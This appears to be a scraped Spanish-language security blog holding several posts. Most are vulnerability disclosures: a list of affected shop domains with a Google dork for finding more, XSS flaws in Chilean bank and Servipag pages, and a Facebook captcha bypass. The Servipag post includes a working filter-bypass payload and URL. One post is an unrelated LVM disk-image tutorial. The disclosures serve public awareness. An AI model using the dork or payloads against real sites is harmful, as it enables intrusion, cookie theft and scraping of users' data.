tecnologiailimitada.com
tenisclubcolombia.com
thecellulardepot.com
theredzone.com.mx
tienda128.mystorexpress.com
tienda573.mystorexpress.com
tiendabolsasbichat.com
tiendadicer.com
tiendaenriko.com
tiendaofficeadm.com
tiendapetmark.com
tiendatn.com
tinkert.com
todocompu.com
transfermania.com.mx
treneshodemexico.com
treneshodetexas.com
trovarti.com
tucalentadordepaso.com.mx
tumejorcompra.net
tumueblebarato.com
tumundodeportivo.com
vinilium.com
winemexsa.com

Para buscar la lista completa de los sitios afectados, puedes realizar la siguiente busqueda en Google:

inurl:mystore inurl:error.php filetype:php

Tambien se reportaron algunas vía secureless.

La empresa que está detras de este sistema ya ha sido notificada.

El sitio web del Banco Central de Chile es vulnerable a ataques Cross-Site Scripting y, posiblemente, un SQL Injection. Son muchos los sitios de bancos que son vulnerables a este tipo de ataques, pero muy pocos quienes solucionan los errores luego de reportarlos, es por eso que se toma la decisión de hacer un disclosure sobre las vulnerabilidades para denunciar este tipo de hechos.

El sitio web del Banco Central pareciera no tener ningun tipo de validación de los parametros de entrada que se pasan mediante formularios o mediante URL, exponiendo a los usuarios  y al servidor a distintos tipos de ataques.
El XSS que encontré, está en el archvo rim/default.asp en el subdominio si2.bcentral.cl.

Como prueba de concepto, incrustaré un ‘iframe’ con el sitio web de Google dentro del sitio del Banco Central

Perfectamente, el atacante podría incrustar un sitio malicioso con la intención de robar la identidad del banco y aprovecharse de la confianza que el usuario tiene sobre el sitio web, incluso usando el sitio “seguro“.

Tambien el atacante podria, mediante esta vulnerabilidad, modificar el formulario de inicio de sesión que aparece en la imagen, para robar los datos de los usuarios y enviar la información a terceros.

La vulnerabilidad SQL Injection se presentaba en los formularios que estaban en la sección “Base de datos economicos”, que al parecer ya ha sido corregido.

Hace 7 días aproximadamente reporté la vulnerabilidad y como es de costumbre no otbuve ninguna respuesta, pero misteriosamente estan trabajando en estos momentos en corregir el sql injection.

Los captchas (Completely Automated Public Turing test to tell Computers and Humans Apart) son mecanismos de detección de robots o procesos automatizados que se conectan a nuestros sistemas y nos permite diferenciar entre humanos y maquinas. Muchas veces los captchas previenen registros masivos, bots que se dedican a recolectar información o bien intentos de ataques (por ejemplo fuerza bruta).

En el caso de Facebook, el captcha está de adorno. Manualmente, un usuario puede hacer uso de google para buscar personas y llegar a su página de Facebook, por ejemplo, buscamos a “Juan Perez” y llegamos a su perfil http://www.facebook.com/juan.perez, Facebook nos mostrará un captcha para poder ver si perfil

Si ingresamos las palabras que nos aparecen (iedshm, and) podremos ver un poco más sobre el usuario como su foto

Una persona debería poder ver este tipo de información si ingresa a facebook e ingresa el captcha correspondiente, para evitar que programas automatizados o bots se dediquen a recolectar información de los usuarios, pero la verdad es otra. El captcha de Facebook está de adorno.

Hagamos el mismo ejercicio, busquemos a una persona en Google e ingresemos a su perfil en Facebook http://es-la.facebook.com/people/Paula-Rodriguez-Tortosa/1313407077 y Facebook nos muestra amablemente un captcha

¡Asombroso! Las eguridad de Facebook ha mejorado, ya que nos pide ingresar caracteres que no son alfa-numericos…. Ya, pero hablemos en serio.

Intentemos ingresar cualquier palabra a ver que pasa

Magicamente, sin ningun tipo de seguridad, nos muestra el perfil de la persona

Ahora ya sabemos que el captcha de Facebook es de juguete y que podemos saltarlo simplemente con un “enter”. Solo bastan unos minutos para programar un pequeño script que se dedique a recolectar información de los usuarios.

¿Será otra caracteristica de facebook o será otra violación a la privacidad de sus usuarios? Claramente esto se trata de un bug, ya que de lo contrario no se molestarían en pedir un captcha.

Ironicamente, cuando vemos el link “¿Que es esto?” al lado del captcha, Facebook nos muestra la siguiente información:

Otra más de facebook.

Con el fin de mejorar la interacción del usuario con algun sistema, los diseñadores y desarrolladores adoptan distintas técnicas de usabilidad para hacerle el trabajo más fácil al usuario, el problema es cuando se prioriza la usabilidad por sobre la seguridad. Para muchos podría parecer que la gente que desarrolla los sistemas piensan que los usuarios son unos tontos unos niños ingenuos, y que por no hacerlos pensar “donde hacer click” le dan todo en bandeja pasando por alto las normas de seguridad. Es por esto que escribiré sobre como la usabilidad pasa por encima de la seguridad.

Como ejemplo, tomaré el caso del Banco Santander y analizaré como una función para hacerle el trabajo más fácil al usuario puede atentar contra la seguridad del mismo usuario. Para muchos podría ser algo básico, pero si lo ven como si fueran un usuario “normal“, se darán cuenta que realmente es un riesgo y que al usuario le podría pasar perfectamente.

Esta es la pantalla de inicio de sesión que vemos al ingresar a www.santander.cl.

Lo normal sería que al ingresar al portal del banco, el usuario hiciera click en el campo “rut” para ingresar su número de identificación, luego ingresara el password y finalmente presione enviar. Pero, ¿cual es la mejora de usabilidad que implementó Santander?

Cuando ingresamos al sitio web, el usuario sin situarse sobre el formulario de inicio de sesión, el cursor ya está en el formulario, el usuario lo único que debe hacer es ingresar su rut.

El problema es que esa función donde se situa el cursor sobre el formulario se ejecuta al terminar de cargar el sitio, si el usuario ingresa su número de identidad y luego comienza a escribir el password, cuando el sitio termine de cargar el puntero será cambiado al campo “rut”, que no está protegido por “*” y queda registrado en el historial, cuando el usuario sin darse cuenta presione “Iniciar sesión”, el sistema le enviará un mensaje de que la password o usuario son incorrectos, lo único que hará el usuario es volver a introducir los valores e iniciar sesión sin problemas, sin darse cuenta que su password pudo haber sido almacenada en el historial.

Es un poco rebuscado el problema, pero existe. Me ha pasado que mi internet va lento o que el servidor del banco responde lentísimo, entonces ingreso al portal y hago todo muy rapido, ingreso mi RUT y cuando presiono enviar me doi cuenta que la password la escribí en el campo desprotegido “rut”.

¿Qué es mejor, que el usuario tenga que mover un poco el mouse y hacer un par de clicks más, o dejar abierta la remota posibilidad que su password quede almacenada en un historial sin percatarse?

Yo creo que 1 de cada 100 personas podría caer en este error, yo mismo he leído y escuchado a algunas personas quejarse por esto mismo, al menos se que no soy el único que lo piensa

Tengo mi disco original llamado “vm1.img” y la clono simplemente con un cp o bien con “dd if=vm1.img vm1_clon.img“, paso a paso, lo que tenemos que hacer es:

1. Crear un dispositivo “loop” en base a nuestro disco virtual
2. Mapear el dispositivo loop creado
3. Revisar los dispositivos creados en /dev/mapper/
4. Activar el volúmen y realizar las tareas necesarias

Las herramientas que usé son losetup, kpartx y vgchange.

Primero, ya tenemos nuestro disco creado, en este caso lo llamaré “testing” y tiene un tamaño de 80GB.
# fdisk -l testing

Device Boot Start End Blocks Id System
testing1 * 63 208844 104391 83 Linux
testing2 208845 167766794 83778975 8e Linux LVM

Para comenzar vamos a usar el comando losetup para crear un dispositivo “loop” en base a nuestra imagen de disco, para esto ejecutamos:

# losetup -f testing

Y verificamos con el mismo comando losetup que se haya creado

# losetup -a
/dev/loop0: [fe01]:24577 (/mnt/vardata/testing)

Ya tenemos nuestro dispositivo “loop” en /dev/loop0 mapeado a la imagen de disco virtual ubicada en /mnt/vardata/testing.

Ahora debemos usar la herramienta kpartx para mapear ese dispositivo que hemos mapeado a nuestro disco virtual hacia nuestro administrador de volúmenes lógicos

# kpartx -a -v /dev/loop0
add map loop0p1 (254:2): 0 208782 linear /dev/loop0 63
add map loop0p2 (254:3): 0 167557950 linear /dev/loop0 208845

Ahora tenemos otros dispositivos creados en /dev/mapper, corresponden a “loop0p1″ y “loop0p2″ correspondientes a las particiones de nuestro disco virtual. Así debería ser presentarse:

# ls -lia /dev/mapper/
total 0
1072 drwxr-xr-x 2 root root 140 sep 13 15:19 .
3 drwxr-xr-x 15 root root 3260 sep 13 15:19 ..
1073 crw------- 1 root root 10, 236 ago 11 12:12 control
2672529 lrwxrwxrwx 1 root root 7 sep 13 15:19 loop0p1 -> ../dm-2
2671232 lrwxrwxrwx 1 root root 7 sep 13 15:19 loop0p2 -> ../dm-3
3655 lrwxrwxrwx 1 root root 7 ago 11 12:12 VolGroup_ID_15211-backup -> ../dm-0
3672 lrwxrwxrwx 1 root root 7 ago 11 12:12 VolGroup_ID_15211-vardata -> ../dm-1

Y el comando vgdisplay debería mostrar la información del grupo

# vgdisplay
--- Volume group ---
VG Name VolGroup00
System ID
Format lvm2
Metadata Areas 1
Metadata Sequence No 3
VG Access read/write
VG Status resizable
MAX LV 0
Cur LV 2
Open LV 0
Max PV 0
Cur PV 1
Act PV 1
VG Size 79,88 GiB
PE Size 32,00 MiB
Total PE 2556
Alloc PE / Size 2556 / 79,88 GiB
Free PE / Size 0 / 0
VG UUID yAIBPd-1PD6-IN1U-aoK7-bLSW-rz08-ERktCp

Y con lvdisplay revisamos la información de los volúmenes dentro del grupo VolGroup00

# lvdisplay VolGroup00
--- Logical volume ---
LV Name /dev/VolGroup00/LogVol00
VG Name VolGroup00
LV UUID Du8Hwj-BUff-RhS3-lNTZ-KsxS-jvEp-S71om4
LV Write Access read/write
LV Status NOT available
LV Size 77,84 GiB
Current LE 2491
Segments 1
Allocation inherit
Read ahead sectors auto

--- Logical volume ---
LV Name /dev/VolGroup00/LogVol01
VG Name VolGroup00
LV UUID Sg3KQG-F3Ad-kgIx-yJi0-OSxm-fBUg-bKUR3O
LV Write Access read/write
LV Status NOT available
LV Size 2,03 GiB
Current LE 65
Segments 1
Allocation inherit
Read ahead sectors auto

Si te fijan en un detalle, en ambos volúmenes, el estado es “NOT available“, pues debemos activarlo

# vgchange VolGroup00 -a y
2 logical volume(s) in volume group "VolGroup00" now active

Y volvemos a revisar

# lvdisplay VolGroup00
--- Logical volume ---
LV Name /dev/VolGroup00/LogVol00
VG Name VolGroup00
LV UUID Du8Hwj-BUff-RhS3-lNTZ-KsxS-jvEp-S71om4
LV Write Access read/write
LV Status available
# open 0
LV Size 77,84 GiB
Current LE 2491
Segments 1
Allocation inherit
Read ahead sectors auto
- currently set to 256
Block device 254:4

--- Logical volume ---
LV Name /dev/VolGroup00/LogVol01
VG Name VolGroup00
LV UUID Sg3KQG-F3Ad-kgIx-yJi0-OSxm-fBUg-bKUR3O
LV Write Access read/write
LV Status available
# open 0
LV Size 2,03 GiB
Current LE 65
Segments 1
Allocation inherit
Read ahead sectors auto
- currently set to 256
Block device 254:5

Ya los tenemos disponibles y ahora podemos trabajar con ese volúmen como si fuese un “lvm” normal, realizar tareas de mantención, montar el volumen, disminuir o aumentar su tamaño, etc.

Cuando ya terminemos de hacer todo lo que queramos con el disco virtual, hay que volver todo a la normalidad, haciendo los pasos inversos:

Desactivar el volumen
# vgchange VolGroup00 -a n
0 logical volume(s) in volume group "VolGroup00" now active

Remover el mapeo de los dispositivos loop0p1 y loop0p2 creados desde loop0
# kpartx -d /dev/loop0

Remover el mapeo de /dev/loop0 creado desde nuestro disco virtual “testing”
# losetup -v -d /dev/loop0

Ya dejamos todo como estaba y podemos volver a utilizar nuestro disco virtual.

Así es, el portal chileno de pagos en línea más seguro nuevamente es vulnerable a XSS. Esta vez se trata de la página de registro de usuarios, modificando el valor de la variable “Rut” es posible inyectar código javascript y poner en riesgo al usuario.

El sitio web de Servipag se ha caracterizado ultimamente por tener una serie de vulnerabilidades criticas que afectan al servidor donde se encuentra el sitio web y tambien a los usuarios, poniendo en riesgo información sensible sobre sus clientes. Según una declaración de Servipag mediante su twitter, los “XSS visual” no afectan al usuario:

Como a ellos no les preocupan los XSS, publicaré con detalles la vulnerabilidad.

La vulnerabilidad se encuentra especificamente en la URL http://www.servipag.com/browse.asp?pagina=web/registro1.htm. El sitio autocompleta el campo “rut” según el valor pasado por GET mediante la variable “Rut”, por ejemplo, si ingresamos a http://www.servipag.com/browse.asp?pagina=web/registro1.htm&Rut=1313&BuscaDatos=2 veremos que nos completa el rut de la siguiente forma

Y si vemos el código fuente, nos muestra:

Por lo tanto, si en lugar de “Rut=1313″ pusieramos una rutina javascript, debería ejecutarse al momento de llamar a la función “Reset()”, sin embargo, el desarrollador de servipag puso un estúpido inutil filtro que es demasiado fácil saltarse. Lo que haremos es terminar la función y hacer que se ejecute el código que nosotros queramos al momento de cargar la página, para esto añadimos ‘; al principio del valor que le daremos a Rut y comentaremos todo lo que venga despues de nuestra inyección, para lograr que se ejecute sin errores el javascript.

La sintáxis que usaremos para explotar la vulnerabilidad será 1212′;}/**/window.stop();confirm(/Servipag_XSS_10_de_Septiembre_19:24?/);/* la cual nos generará un código fuente similar a:

Provocando el XSS que estabamos buscando. De esta forma es posible burlar los filtros puestos por los desarrolladores del portal de pagos más seguro (ironía), pudiendo redireccionar al usuario a un sitio malicioso, robar las cookies, etc.

Finalmente, la URL vulnerable es http://www.servipag.com/browse.asp?pagina=web/registro1.htm&Rut=1212′;}/**/window.stop();confirm(/Servipag_XSS?/);/*=’&BuscaDatos=2.

ACTUALIZADO (12 DE SEPT 14:08hrs)

Como es de costumbre con esta gente de Servipag, el problema ha sido solucionado minutos luego de haberlo publicado, sin embargo, no son capaces de responder los correos donde se envian reportes de estas vulnerabilidades.

Por lo general, esto sucede cuando no existe una capa intermedia entre el archivo y el sistema, sino que se linkea directamente. Algo que debería ser http://www.dominio.cl/sistema/index.php/descargar/949394 es http://www.dominio.cl/sistema/admin/archivos/usuarios_y_passwords.docx, y en el peor de los casos hasta se puede eliminar el nombre del archivo y listar el contenido del directorio “archivos”

Los sistemas web deberían manejar internamente un “id” o nombre ficticio del archivo, hasheado y mapeado al momento de subirlo, para no permitir que cualquier usuario pueda acceder. Por ejemplo, si tenemos la URL de prueba dada anteriormente, 949394 correspondería al ID del archivo, el sistema debería -internamente- hacer una consulta a la base de datos y ver a que archivo corresponde ese ID, luego ver quienes tienen permisos para acceder a ese archivo y, luego de verificar la sesión y permisos, permitir la descarga del archivo.
Para evitar la descarga directa de los archivos, el directorio “uploads” debería estar fuera del directorio de la aplicación, por ejempo, si el directorio de la aplicación es /var/www/html/sistema1/, el directorio debería estar fuera de “sistema1″, sino, aunque hagas todas las validaciones posibles, de todas formas se podrá acceder directamente al archivo saltandose la validación de la aplicación.